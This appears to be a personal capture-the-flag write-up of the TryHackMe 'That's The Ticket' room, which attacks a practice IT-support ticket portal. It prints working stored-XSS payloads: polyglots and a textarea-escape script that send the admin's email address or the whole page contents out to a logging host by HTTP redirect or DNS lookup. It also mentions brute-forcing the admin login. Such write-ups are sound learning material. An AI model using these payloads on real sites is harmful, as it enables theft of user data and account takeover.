THM: That’s The Ticket

This is That’s The Ticket from THM. It’s Medium rated and says:

IT Support is going to have a really bad day today, but don’t think they’re stupid! They have really strict firewalls!
Using the IT support portal try and make your way into the admin account.
Hint: Our HTTP & DNS Logging tool on may come in useful!

Based on this, I was guessing this might have been XSS. Guess who doesn’t know anything about XSS? This guy. Let’s go.


SSH, and HTTP only.


Our first task is to find the email address of IT Support. We can register an account, and then create support tickets. Now when I said I don’t know shit about XSS, I wasn’t joking. It’s obviously not easy to do in CTF-type challenges when you’re working with Vulnhub boxes or on THM; they are usually single machine and single user type things.

Anyway I had once signed up for a course with the XSS Rat about XSS so I watched the first few videos, learned not quite enough to be dangerous and got started.

Using a polyglot that I borrowed, I could get an XSS payload to trigger on the ticket. Then, I tried getting it to send me the email address with this payload:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=document.location=''+document.getElementById("email").innerHTML;//

This would get an HTTP request to the logging tool on, but I’d only get my own email address, like so:

We received the following HTTP Request:

GET / HTTP/1.1
Upgrade-Insecure-Requests: 1
Connection: close
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Request received @ 15 Jun 2021 06:52:34 UTC from IP

Next, I tried …. well, different things. I eventually landed on a payload like this:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=document.location=''+btoa(unescape(encodeURIComponent(document.documentElement.innerHTML)));//

Which would essentially exfil the entire page contents as base64, but it still didn’t contain the admin’s email address.

Eventually I quit and checked a writeup, because I genuinely didn’t know what to to. Specifically I looked here, not that it probably matters much. I got two things from here: one, we needed to escape a ‘textarea’, and two, a useful payload. Now as it happens my polyglot was already escaping the textarea but the payload could be much simpler without all the LeEt stuff. The payload:

var email = document.getElementById('email').innerHTML
var emailreplaced1 = email.replace('@','X')
var emailreplaced2 = emailreplaced1.replace('.','Y')

So why does this work, whereas mine didn’t? Because the DNS lookup to the monitor is done by the admin account, but the GET request isn’t. We get a result like this:

We received a DNS lookup with type: A for the domain:

The Lookup was requested @ 15 Jun 2021 07:05:51 UTC from IP

And it looks like this since old mate replaced @ with ‘X’ and . with Y, so the answer is adminaccount@itsupport.thm

Now I knew this, I thought the payload could be simplified somewhat. Here’s my (slightly) optimised version:

</textarea><script>fetch('http://'+(document.getElementById('email').innerText.replace("@", "_AT_"))+'')</script>

No doubt there are better ones. This works though:

We received a DNS lookup with type: A for the domain:

The Lookup was requested @ 15 Jun 2021 07:18:41 UTC from IP

Once you’ve got that you just have to bruteforce the admin login; the password is trivial and I used Burp Turbo Intruder and then you just read a flag from a ticket. But I still found this really quite interesting and I definitely learned a few things so cheers adamtlangley.